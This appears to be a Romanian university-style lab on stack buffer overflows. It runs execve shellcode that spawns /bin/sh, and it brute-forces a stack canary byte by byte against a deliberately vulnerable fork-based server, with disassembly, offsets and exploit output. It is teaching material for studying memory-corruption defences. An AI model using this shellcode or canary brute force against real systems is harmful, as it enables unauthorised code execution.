user@host:~$ python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + 19*"A" + "\xb0\xd2\xff\xff"' | strace -e execve ./run-shellcode execve("./run-shellcode", ["./run-shellcode"], [/* 41 vars */]) = 0 [ Process PID=24236 runs in 32 bit mode. ] Insert message (less than 32 bytes): buffer address: 0xffffd2b0 execve("/bin//sh", ["/bin//sh"], [/* 0 vars */]) = 0 [ Process PID=24236 runs in 64 bit mode. ]
În acest fel am executat o formă clasică de stack buffer overflow cu injectare de cod (shellcode) pe stivă. Shellcode-ul a fost scris pe stivă și apoi am suprascris adresa de retur a funcției cu adresa de început a shellcode-ului, adică adresa buffer-ului. Rezultatul a fost crearea unui proces shell prin invocarea apelului de sistem execve
codificat în shellcode.
Pentru a realiza acest lucru am dezactivat mecanismele de protecție din Linux:
-fno-stack-protector
la compilare.-z execstack
la link-editare./proc/sys/kernel/randomize_va_space
.Atacurile reale trebuie să țină cont de aceste mecanisme de protecție care sunt comune pe sistemele de operare moderne. Din acest motiv atacurile sunt dificil de realizat (dar nu imposibil), lucru care face selectă populația celor care sunt capabili să genereze atacuri de exploatare a vulnerabilităților memoriei.
Dorim să atacăm mecanismul defensiv Stack Smashing Protection (SSP) care presupune plasarea unei valori predefinite pe stivă (numită stack canary sau stack guard) care detectează atacurile asupra vulnerabilităților de tip buffer overflow ce ar suprasscrie addresa de retur. Pentru aceasta accesăm subdirectorul socket-ssp/
care creează un fork-based server, adică un server ce creează un proces pentru fiecare conexiune; această particularitate ne permite atacarea SSP permițându-ne suprascrierea adresei de retur.
Urmărim conținutul fișierului socket_ssp.c
. În acest fișier în funcția main()
se creează un server socket și se acceptă conexiuni de tratarea cărora se ocupă un proces copil. În funcția process_client()
se apelează funcția actual_func()
. Obiectivul nostru este să exploatăm vulnerabilitatea de tip buffer-overflow din funcția process_client()
pentru a suprascrie adresa de retur și a apela funcția inject_func()
.
Programul este compilat cu suport de Stack Smashing Protection care plasează stack canary pe stivă în funcția process_client()
. Opțiunea de compilare -fstack-protector
este adăugată în fișierul Makefile
:
CFLAGS = -Wall -Wextra -g -fstack-protector -fno-PIC
Compilăm programul (ignorăm warning-ul că funcția inject_func()
nu este apelată, e utilă pentru atacul nostru):
$ make cc -Wall -Wextra -g -fstack-protector -fno-PIC -I../utils -c -o socket_ssp.o socket_ssp.c socket_ssp.c:27:13: warning: ‘inject_func’ defined but not used [-Wunused-function] static void inject_func(void) ^~~~~~~~~~~ cc -no-pie socket_ssp.o -o socket_ssp
și observăm prezența stack canary pe stivă la adresa rbp-0x8
(în cazul nostru), poate fi altundeva în cazul vostru:
$ objdump -d -M intel socket_ssp | grep -A 6 '<process_client>:' 00000000004009c3 <process_client>: 4009c3: 55 push rbp 4009c4: 48 89 e5 mov rbp,rsp 4009c7: 48 83 ec 20 sub rsp,0x20 4009cb: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28 4009d2: 00 00 4009d4: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
În realizarea atacului, ținem cont că la fork()
(modul de tratare a conexiunilor în implementarea socket_ssp.c
) se păstrează spațiul de adresă al procesului, se vor păstra și stack canary. Așa că le putem suprascrie din clientul TCP octet cu octet până nimerim. Când nimerim programul nu va genera eroare de tipul stack smashing detection. Se va încheia cu succes, va întoarce mesaj pe rețea și atunci știm că am nimerit octetul și trecem la următorul.
Atacul este descris în fișierul exploit.py
. Pentru a reuși trebuie să știm offset-ul dintre buffer și stack canary și adresa funcției inject_func()
. Ambele pot fi obținute prin dezasamblarea codului, identificarea construcției ce referă buffer-ul, valoarea stack canary și adresa funcției inject_func()
.
De exemplu, pentru a identifica adresa buffer-ului și a stack canary urmărim dezasamblarea funcției process_client()
:
$ objdump -d -M intel socket_ssp | grep -A 21 '<process_client>:' 00000000004009c3 <process_client>: 4009c3: 55 push rbp 4009c4: 48 89 e5 mov rbp,rsp 4009c7: 48 83 ec 20 sub rsp,0x20 4009cb: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28 4009d2: 00 00 4009d4: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax 4009d8: 31 c0 xor eax,eax 4009da: 8b 05 ec 16 20 00 mov eax,DWORD PTR [rip+0x2016ec] # 6020cc <connectfd> 4009e0: 48 8d 4d e0 lea rcx,[rbp-0x20] 4009e4: ba 64 00 00 00 mov edx,0x64 4009e9: 48 89 ce mov rsi,rcx 4009ec: 89 c7 mov edi,eax 4009ee: e8 0d fe ff ff call 400800 <read@plt> 4009f3: 90 nop 4009f4: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8] 4009f8: 64 48 33 04 25 28 00 xor rax,QWORD PTR fs:0x28 4009ff: 00 00 400a01: 74 05 je 400a08 <process_client+0x45> 400a03: e8 a8 fd ff ff call 4007b0 <__stack_chk_fail@plt> 400a08: c9 leave 400a09: c3 ret
Adresa buffer-ului este rbp-0x20
, adresa stack canary este rbp-0x8
, deci ofsset-ul este 0x20-0x8 = 0x18 = 24
. Este trecută această valoare în exploit.py
Pentru a nu avea un executabil cu suport PIE (Position Indenpendent Executable) și pentru a avea adrese fixe pentru funcțiile din cadrul executabilului, am folosit opțiunile corespunzătoare la compilare și linking în Makefile
:
CFLAGS = -Wall -Wextra -g -fstack-protector -fno-PIC LDFLAGS = -no-pie
Adresa funcției inject_func()
este fixă și o aflăm folosind objdump
:
$ objdump -d -M intel socket_ssp | grep '<inject_func>:' 00000000004009a5 <inject_func>:
La fel, adresa este trecută în exploit.py
.
Acum putem realiza atacul. Pornim serverul pe o consolă:
$ ./socket_ssp
și atacul pe altă consolă. Atacul va dura să treacă prin toți octeții și să creeze un proces pentru fiecare socket. În final atacul va reuși și vom apela funcția inject_func()
. Un exemplu de atac este prezentat în fișierul result.txt
:
$ python exploit.py Canary byte 0 is 0x00 Canary byte 1 is 0x0c Canary byte 2 is 0xda Canary byte 3 is 0x55 Canary byte 4 is 0x89 Canary byte 5 is 0x3c Canary byte 6 is 0x40 Canary byte 7 is 0x71 Exploit result: Called injected function.